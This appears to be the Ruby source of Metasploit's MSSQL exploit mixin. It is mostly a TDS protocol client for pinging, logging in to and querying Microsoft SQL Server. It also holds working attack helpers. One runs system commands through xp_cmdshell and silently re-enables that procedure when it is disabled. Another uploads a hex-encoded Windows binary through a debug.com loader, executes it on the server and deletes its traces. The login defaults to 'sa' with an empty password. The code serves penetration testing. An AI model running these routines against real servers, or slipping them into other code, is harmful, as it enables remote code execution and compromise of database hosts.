655 lines
14 KiB
Ruby
655 lines
14 KiB
Ruby
require 'msf/core'
|
|
require 'msf/core/exploit/mssql_commands'
|
|
|
|
module Msf
|
|
|
|
###
|
|
#
|
|
# This module exposes methods for querying a remote MSSQL service
|
|
#
|
|
###
|
|
module Exploit::Remote::MSSQL
|
|
|
|
include Exploit::Remote::MSSQL_COMMANDS
|
|
include Exploit::Remote::Udp
|
|
include Exploit::Remote::Tcp
|
|
|
|
#
|
|
# Creates an instance of a MSSQL exploit module.
|
|
#
|
|
def initialize(info = {})
|
|
super
|
|
|
|
# Register the options that all MSSQL exploits may make use of.
|
|
register_options(
|
|
[
|
|
Opt::RHOST,
|
|
Opt::RPORT(1433),
|
|
OptString.new('MSSQL_USER', [ false, 'The username to authenticate as', 'sa']),
|
|
OptString.new('MSSQL_PASS', [ false, 'The password for the specified username', '']),
|
|
OptPath.new('HEX2BINARY', [ false, "The path to the hex2binary script on the disk",
|
|
File.join(Msf::Config.install_root, "data", "exploits", "mssql", "h2b")
|
|
])
|
|
], Msf::Exploit::Remote::MSSQL)
|
|
|
|
register_autofilter_ports([ 1433, 1434, 1435, 14330, 2533, 9152, 2638] )
|
|
register_autofilter_services(%W{ ms-sql-s ms-sql2000 sybase })
|
|
end
|
|
|
|
|
|
#
|
|
# This method sends a UDP query packet to the server and
|
|
# parses out the reply packet into a hash
|
|
#
|
|
def mssql_ping(timeout=5)
|
|
data = { }
|
|
|
|
ping_sock = Rex::Socket::Udp.create(
|
|
'PeerHost' => rhost,
|
|
'PeerPort' => 1434,
|
|
'Context' =>
|
|
{
|
|
'Msf' => framework,
|
|
'MsfExploit' => self,
|
|
})
|
|
|
|
|
|
ping_sock.put("\x02")
|
|
resp, saddr, sport = ping_sock.recvfrom(65535, timeout)
|
|
ping_sock.close
|
|
|
|
return data if not resp
|
|
return data if resp.length == 0
|
|
|
|
var = nil
|
|
|
|
return mssql_ping_parse(resp)
|
|
end
|
|
|
|
#
|
|
# Parse a 'ping' response and format as a hash
|
|
#
|
|
def mssql_ping_parse(data)
|
|
res = {}
|
|
var = nil
|
|
idx = data.index('ServerName')
|
|
return res if not idx
|
|
|
|
data[idx, data.length-idx].split(';').each do |d|
|
|
if (not var)
|
|
var = d
|
|
else
|
|
if (var.length > 0)
|
|
res[var] = d
|
|
var = nil
|
|
end
|
|
end
|
|
end
|
|
|
|
return res
|
|
end
|
|
|
|
#
|
|
# Execute a system command via xp_cmdshell
|
|
#
|
|
|
|
def mssql_xpcmdshell(cmd,doprint=false,opts={})
|
|
force_enable = false
|
|
begin
|
|
res = mssql_query("xp_cmdshell '#{cmd}'", false, opts)
|
|
if(res[:errors] and not res[:errors].empty?)
|
|
if(res[:errors].join =~ /xp_cmdshell/)
|
|
if(force_enable)
|
|
print_error("The xp_cmdshell procedure is not available and could not be enabled")
|
|
raise RuntimeError, "Failed to execute command"
|
|
else
|
|
print_status("The server may have xp_cmdshell disabled, trying to enable it...")
|
|
mssql_query(mssql_xpcmdshell_enable())
|
|
raise RuntimeError, "xp_cmdshell disabled"
|
|
end
|
|
end
|
|
end
|
|
|
|
mssql_print_reply(res) if doprint
|
|
|
|
return res
|
|
|
|
rescue RuntimeError => e
|
|
if(e.to_s =~ /xp_cmdshell disabled/)
|
|
force_enable = true
|
|
retry
|
|
end
|
|
raise e
|
|
end
|
|
end
|
|
|
|
#
|
|
# Upload and execute a Windows binary through MSSQL queries
|
|
#
|
|
def mssql_upload_exec(exe, debug=false)
|
|
hex = exe.unpack("H*")[0]
|
|
|
|
var_bypass = rand_text_alpha(8)
|
|
var_payload = rand_text_alpha(8)
|
|
|
|
print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
|
|
print_status("Writing the debug.com loader to the disk...")
|
|
h2b = File.read(datastore['HEX2BINARY'], File.size(datastore['HEX2BINARY']))
|
|
h2b.gsub!(/KemneE3N/, "%TEMP%\\#{var_bypass}")
|
|
h2b.split(/\n/).each do |line|
|
|
mssql_xpcmdshell("#{line}", false)
|
|
end
|
|
|
|
print_status("Converting the debug script to an executable...")
|
|
mssql_xpcmdshell("cmd.exe /c cd %TEMP% && cd %TEMP% && debug < %TEMP%\\#{var_bypass}", debug)
|
|
mssql_xpcmdshell("cmd.exe /c move %TEMP%\\#{var_bypass}.bin %TEMP%\\#{var_bypass}.exe", debug)
|
|
|
|
print_status("Uploading the payload, please be patient...")
|
|
idx = 0
|
|
cnt = 500
|
|
while(idx < hex.length - 1)
|
|
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false)
|
|
idx += cnt
|
|
end
|
|
|
|
print_status("Converting the encoded payload...")
|
|
mssql_xpcmdshell("%TEMP%\\#{var_bypass}.exe %TEMP%\\#{var_payload}", debug)
|
|
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_bypass}.exe", debug)
|
|
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
|
|
|
|
print_status("Executing the payload...")
|
|
mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
|
|
end
|
|
|
|
|
|
#
|
|
# Send and receive using TDS
|
|
#
|
|
def mssql_send_recv(req, timeout=15)
|
|
sock.put(req)
|
|
|
|
# Read the 8 byte header to get the length and status
|
|
# Read the length to get the data
|
|
# If the status is 0, read another header and more data
|
|
|
|
done = false
|
|
resp = ""
|
|
|
|
while(not done)
|
|
head = sock.get_once(8, timeout)
|
|
if !(head and head.length == 8)
|
|
return false
|
|
end
|
|
|
|
# Is this the last buffer?
|
|
if(head[1,1] == "\x01")
|
|
done = true
|
|
end
|
|
|
|
# Grab this block's length
|
|
rlen = head[2,2].unpack('n')[0] - 8
|
|
|
|
while(rlen > 0)
|
|
buff = sock.get_once(rlen, timeout)
|
|
return if not buff
|
|
resp << buff
|
|
rlen -= buff.length
|
|
end
|
|
end
|
|
|
|
resp
|
|
end
|
|
|
|
#
|
|
# Encrypt a password according to the TDS protocol (encode)
|
|
#
|
|
def mssql_tds_encrypt(pass)
|
|
# Convert to unicode, swap 4 bits both ways, xor with 0xa5
|
|
Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*")
|
|
end
|
|
|
|
#
|
|
# This method connects to the server over TCP and attempts
|
|
# to authenticate with the supplied username and password
|
|
# The global socket is used and left connected after auth
|
|
#
|
|
def mssql_login(user='sa', pass='', db='')
|
|
|
|
disconnect if self.sock
|
|
connect
|
|
|
|
pkt = ""
|
|
idx = 0
|
|
|
|
pkt << [
|
|
0x00000000, # Dummy size
|
|
0x71000001, # TDS Version
|
|
0x00000000, # Size
|
|
0x00000007, # Version
|
|
rand(1024+1), # PID
|
|
0x00000000, # ConnectionID
|
|
0xe0, # Option Flags 1
|
|
0x03, # Option Flags 2
|
|
0x00, # SQL Type Flags
|
|
0x00, # Reserved Flags
|
|
0x00000000, # Time Zone
|
|
0x00000000 # Collation
|
|
].pack('VVVVVVCCCCVV')
|
|
|
|
|
|
cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
|
|
uname = Rex::Text.to_unicode( user )
|
|
pname = mssql_tds_encrypt( pass )
|
|
aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
|
|
sname = Rex::Text.to_unicode( rhost )
|
|
dname = Rex::Text.to_unicode( db )
|
|
|
|
idx = pkt.size + 50 # lengths below
|
|
|
|
pkt << [idx, cname.length / 2].pack('vv')
|
|
idx += cname.length
|
|
|
|
pkt << [idx, uname.length / 2].pack('vv')
|
|
idx += uname.length
|
|
|
|
pkt << [idx, pname.length / 2].pack('vv')
|
|
idx += pname.length
|
|
|
|
pkt << [idx, aname.length / 2].pack('vv')
|
|
idx += aname.length
|
|
|
|
pkt << [idx, sname.length / 2].pack('vv')
|
|
idx += sname.length
|
|
|
|
pkt << [0, 0].pack('vv')
|
|
|
|
pkt << [idx, aname.length / 2].pack('vv')
|
|
idx += aname.length
|
|
|
|
pkt << [idx, 0].pack('vv')
|
|
|
|
pkt << [idx, dname.length / 2].pack('vv')
|
|
idx += dname.length
|
|
|
|
# The total length has to be embedded twice more here
|
|
pkt << [
|
|
0,
|
|
0,
|
|
0x12345678,
|
|
0x12345678
|
|
].pack('vVVV')
|
|
|
|
pkt << cname
|
|
pkt << uname
|
|
pkt << pname
|
|
pkt << aname
|
|
pkt << sname
|
|
pkt << aname
|
|
pkt << dname
|
|
|
|
# Total packet length
|
|
pkt[0,4] = [pkt.length].pack('V')
|
|
|
|
# Embedded packet lengths
|
|
pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2
|
|
|
|
# Packet header and total length including header
|
|
pkt = "\x10\x01" + [pkt.length + 8].pack('n') + [0].pack('n') + [1].pack('C') + "\x00" + pkt
|
|
|
|
resp = mssql_send_recv(pkt)
|
|
|
|
info = {:errors => []}
|
|
info = mssql_parse_reply(resp,info)
|
|
|
|
return false if not info
|
|
info[:login_ack] ? true : false
|
|
end
|
|
|
|
#
|
|
# Login to the SQL server using the standard MSSQL_USER/MSSQL_PASS options
|
|
#
|
|
def mssql_login_datastore(db='')
|
|
mssql_login(datastore['MSSQL_USER'], datastore['MSSQL_PASS'], db)
|
|
end
|
|
|
|
#
|
|
# Issue a SQL query using the TDS protocol
|
|
#
|
|
def mssql_query(sqla, doprint=false, opts={})
|
|
info = { :sql => sqla }
|
|
|
|
opts[:timeout] ||= 15
|
|
|
|
pkts = []
|
|
idx = 0
|
|
|
|
bsize = 4096 - 8
|
|
chan = 0
|
|
|
|
@cnt ||= 0
|
|
@cnt += 1
|
|
|
|
sql = Rex::Text.to_unicode(sqla)
|
|
while(idx < sql.length)
|
|
buf = sql[idx, bsize]
|
|
flg = buf.length < bsize ? "\x01" : "\x00"
|
|
pkts << "\x01" + flg + [buf.length + 8].pack('n') + [chan].pack('n') + [@cnt].pack('C') + "\x00" + buf
|
|
idx += bsize
|
|
|
|
end
|
|
|
|
resp = mssql_send_recv(pkts.join, opts[:timeout])
|
|
mssql_parse_reply(resp, info)
|
|
mssql_print_reply(info) if doprint
|
|
info
|
|
end
|
|
|
|
|
|
#
|
|
# Nicely print the results of a SQL query
|
|
#
|
|
def mssql_print_reply(info)
|
|
|
|
print_status("SQL Query: #{info[:sql]}")
|
|
|
|
if(info[:done] and info[:done][:rows].to_i > 0)
|
|
print_status("Row Count: #{info[:done][:rows]} (Status: #{info[:done][:status]} Command: #{info[:done][:cmd]})")
|
|
end
|
|
|
|
if(info[:errors] and not info[:errors].empty?)
|
|
info[:errors].each do |err|
|
|
print_error(err)
|
|
end
|
|
end
|
|
|
|
if(info[:rows] and not info[:rows].empty?)
|
|
|
|
tbl = Rex::Ui::Text::Table.new(
|
|
'Indent' => 1,
|
|
'Header' => "",
|
|
'Columns' => info[:colnames]
|
|
)
|
|
|
|
info[:rows].each do |row|
|
|
tbl << row
|
|
end
|
|
|
|
print_line(tbl.to_s)
|
|
end
|
|
end
|
|
|
|
|
|
#
|
|
# Parse a raw TDS reply from the server
|
|
#
|
|
def mssql_parse_tds_reply(data, info)
|
|
info[:errors] ||= []
|
|
info[:colinfos] ||= []
|
|
info[:colnames] ||= []
|
|
|
|
# Parse out the columns
|
|
cols = data.slice!(0,2).unpack('v')[0]
|
|
0.upto(cols-1) do |col_idx|
|
|
col = {}
|
|
info[:colinfos][col_idx] = col
|
|
|
|
col[:utype] = data.slice!(0,2).unpack('v')[0]
|
|
col[:flags] = data.slice!(0,2).unpack('v')[0]
|
|
col[:type] = data.slice!(0,1).unpack('C')[0]
|
|
|
|
case col[:type]
|
|
when 48
|
|
col[:id] = :tinyint
|
|
|
|
when 52
|
|
col[:id] = :smallint
|
|
|
|
when 56
|
|
col[:id] = :rawint
|
|
|
|
when 61
|
|
col[:id] = :datetime
|
|
|
|
when 34
|
|
col[:id] = :image
|
|
col[:max_size] = data.slice!(0,4).unpack('V')[0]
|
|
col[:value_length] = data.slice!(0,2).unpack('v')[0]
|
|
col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '')
|
|
|
|
when 36
|
|
col[:id] = :string
|
|
|
|
when 38
|
|
col[:id] = :int
|
|
col[:int_size] = data.slice!(0,1).unpack('C')[0]
|
|
|
|
when 127
|
|
col[:id] = :bigint
|
|
|
|
when 165
|
|
col[:id] = :hex
|
|
col[:max_size] = data.slice!(0,2).unpack('v')[0]
|
|
|
|
when 173
|
|
col[:id] = :hex # binary(2)
|
|
col[:max_size] = data.slice!(0,2).unpack('v')[0]
|
|
|
|
when 231,175,167,239
|
|
col[:id] = :string
|
|
col[:max_size] = data.slice!(0,2).unpack('v')[0]
|
|
col[:codepage] = data.slice!(0,2).unpack('v')[0]
|
|
col[:cflags] = data.slice!(0,2).unpack('v')[0]
|
|
col[:charset_id] = data.slice!(0,1).unpack('C')[0]
|
|
|
|
else
|
|
col[:id] = :unknown
|
|
end
|
|
|
|
col[:msg_len] = data.slice!(0,1).unpack('C')[0]
|
|
|
|
if(col[:msg_len] and col[:msg_len] > 0)
|
|
col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
|
|
end
|
|
info[:colnames] << (col[:name] || 'NULL')
|
|
end
|
|
end
|
|
|
|
#
|
|
# Parse individual tokens from a TDS reply
|
|
#
|
|
def mssql_parse_reply(data, info)
|
|
info[:errors] = []
|
|
return if not data
|
|
until data.empty?
|
|
token = data.slice!(0,1).unpack('C')[0]
|
|
case token
|
|
when 0x81
|
|
mssql_parse_tds_reply(data, info)
|
|
when 0xd1
|
|
mssql_parse_tds_row(data, info)
|
|
when 0xe3
|
|
mssql_parse_env(data, info)
|
|
when 0x79
|
|
mssql_parse_ret(data, info)
|
|
when 0xfd, 0xfe, 0xff
|
|
mssql_parse_done(data, info)
|
|
when 0xad
|
|
mssql_parse_login_ack(data, info)
|
|
when 0xab
|
|
mssql_parse_info(data, info)
|
|
when 0xaa
|
|
mssql_parse_error(data, info)
|
|
when nil
|
|
break
|
|
else
|
|
info[:errors] << "unsupported token: #{token}"
|
|
end
|
|
end
|
|
info
|
|
end
|
|
|
|
#
|
|
# Parse a single row of a TDS reply
|
|
#
|
|
def mssql_parse_tds_row(data, info)
|
|
info[:rows] ||= []
|
|
row = []
|
|
|
|
info[:colinfos].each do |col|
|
|
|
|
if(data.length == 0)
|
|
row << "<EMPTY>"
|
|
next
|
|
end
|
|
|
|
case col[:id]
|
|
when :hex
|
|
str = ""
|
|
len = data.slice!(0,2).unpack('v')[0]
|
|
if(len > 0 and len < 65535)
|
|
str << data.slice!(0,len)
|
|
end
|
|
row << str.unpack("H*")[0]
|
|
|
|
when :string
|
|
str = ""
|
|
len = data.slice!(0,2).unpack('v')[0]
|
|
if(len > 0 and len < 65535)
|
|
str << data.slice!(0,len)
|
|
end
|
|
row << str.gsub("\x00", '')
|
|
|
|
when :datetime
|
|
row << data.slice!(0,8).unpack("H*")[0]
|
|
|
|
when :rawint
|
|
row << data.slice!(0,4).unpack('V')[0]
|
|
|
|
when :bigint
|
|
row << data.slice!(0,8).unpack("H*")[0]
|
|
|
|
when :smallint
|
|
row << data.slice!(0, 2).unpack("v")[0]
|
|
|
|
when :smallint3
|
|
row << [data.slice!(0, 3)].pack("Z4").unpack("V")[0]
|
|
|
|
when :tinyint
|
|
row << data.slice!(0, 1).unpack("C")[0]
|
|
|
|
when :image
|
|
str = ''
|
|
len = data.slice!(0,1).unpack('C')[0]
|
|
str = data.slice!(0,len) if (len and len > 0)
|
|
row << str.unpack("H*")[0]
|
|
|
|
when :int
|
|
len = data.slice!(0, 1).unpack("C")[0]
|
|
raw = data.slice!(0, len) if (len and len > 0)
|
|
|
|
case len
|
|
when 0,255
|
|
row << ''
|
|
when 1
|
|
row << raw.unpack("C")[0]
|
|
when 2
|
|
row << raw.unpack('v')[0]
|
|
when 4
|
|
row << raw.unpack('V')[0]
|
|
when 5
|
|
row << raw.unpack('V')[0] # XXX: missing high byte
|
|
when 8
|
|
row << raw.unpack('VV')[0] # XXX: missing high dword
|
|
else
|
|
info[:errors] << "invalid integer size: #{len} #{data[0,16].unpack("H*")[0]}"
|
|
end
|
|
else
|
|
info[:errors] << "unknown column type: #{col.inspect}"
|
|
end
|
|
end
|
|
|
|
info[:rows] << row
|
|
info
|
|
end
|
|
|
|
#
|
|
# Parse a "ret" TDS token
|
|
#
|
|
def mssql_parse_ret(data, info)
|
|
ret = data.slice!(0,4).unpack('N')[0]
|
|
info[:ret] = ret
|
|
info
|
|
end
|
|
|
|
#
|
|
# Parse a "done" TDS token
|
|
#
|
|
def mssql_parse_done(data, info)
|
|
status,cmd,rows = data.slice!(0,8).unpack('vvV')
|
|
info[:done] = { :status => status, :cmd => cmd, :rows => rows }
|
|
info
|
|
end
|
|
|
|
#
|
|
# Parse an "error" TDS token
|
|
#
|
|
def mssql_parse_error(data, info)
|
|
len = data.slice!(0,2).unpack('v')[0]
|
|
buff = data.slice!(0,len)
|
|
|
|
errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv')
|
|
emsg = buff.slice!(0,elen * 2)
|
|
emsg.gsub!("\x00", '')
|
|
|
|
info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
|
|
info
|
|
end
|
|
|
|
#
|
|
# Parse an "environment change" TDS token
|
|
#
|
|
def mssql_parse_env(data, info)
|
|
len = data.slice!(0,2).unpack('v')[0]
|
|
buff = data.slice!(0,len)
|
|
type = buff.slice!(0,1).unpack('C')[0]
|
|
|
|
nval = ''
|
|
nlen = buff.slice!(0,1).unpack('C')[0] || 0
|
|
nval = buff.slice!(0,nlen*2).gsub("\x00", '') if nlen > 0
|
|
|
|
oval = ''
|
|
olen = buff.slice!(0,1).unpack('C')[0] || 0
|
|
oval = buff.slice!(0,olen*2).gsub("\x00", '') if olen > 0
|
|
|
|
info[:envs] ||= []
|
|
info[:envs] << { :type => type, :old => oval, :new => nval }
|
|
info
|
|
end
|
|
|
|
#
|
|
# Parse an "information" TDS token
|
|
#
|
|
def mssql_parse_info(data, info)
|
|
len = data.slice!(0,2).unpack('v')[0]
|
|
buff = data.slice!(0,len)
|
|
|
|
errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv')
|
|
emsg = buff.slice!(0,elen * 2)
|
|
emsg.gsub!("\x00", '')
|
|
|
|
info[:infos]||= []
|
|
info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
|
|
info
|
|
end
|
|
|
|
#
|
|
# Parse a "login ack" TDS token
|
|
#
|
|
def mssql_parse_login_ack(data, info)
|
|
len = data.slice!(0,2).unpack('v')[0]
|
|
buff = data.slice!(0,len)
|
|
info[:login_ack] = true
|
|
end
|
|
end
|
|
end
|